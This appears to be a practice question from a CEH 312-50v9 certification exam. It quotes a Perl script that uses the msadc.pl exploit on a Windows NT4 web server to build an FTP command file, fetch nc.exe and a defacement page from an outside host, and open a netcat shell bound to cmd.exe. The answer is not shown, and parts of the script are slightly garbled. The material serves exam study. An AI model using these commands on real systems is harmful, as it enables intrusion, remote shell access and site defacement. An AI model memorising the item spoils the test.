312-50V9 Question #76: Real Exam Question with Answer & Explanation

A tester has been using the msadc.pl attack script to execute arbitrary commands on a Windows NT4 web server. While it is effective, the tester finds it tedious to perform extended functions. On further research, the tester come across a perl script that runs the following msadc functions: system("perl msadc.pl -h $host -C "echo open $your >testfile""); system("perl msadc.pl -h $host -C "echo $user>>testfile""); system("perl msadc.pl -h $host -C "echo $pass>>testfile""); system("perl msadc.pl -h $host -C "echo bin>>testfile""); system("perl msadc.pl -h $host -C "echo get nc.exe>>testfile""); system("perl msadc.pl -h $host -C "echo get hacked.html>>testfile""); ("perl msadc.pl -h $host -C "echo quit>>testfile""); system("perl msadc.pl -h $host -C "ftp -s:testfile""); $o=; print "Opening ...\n"; system("perl msadc.pl -h $host -C "nc -l -p $port -e cmd.exe""); Which exploit is indicated by this script?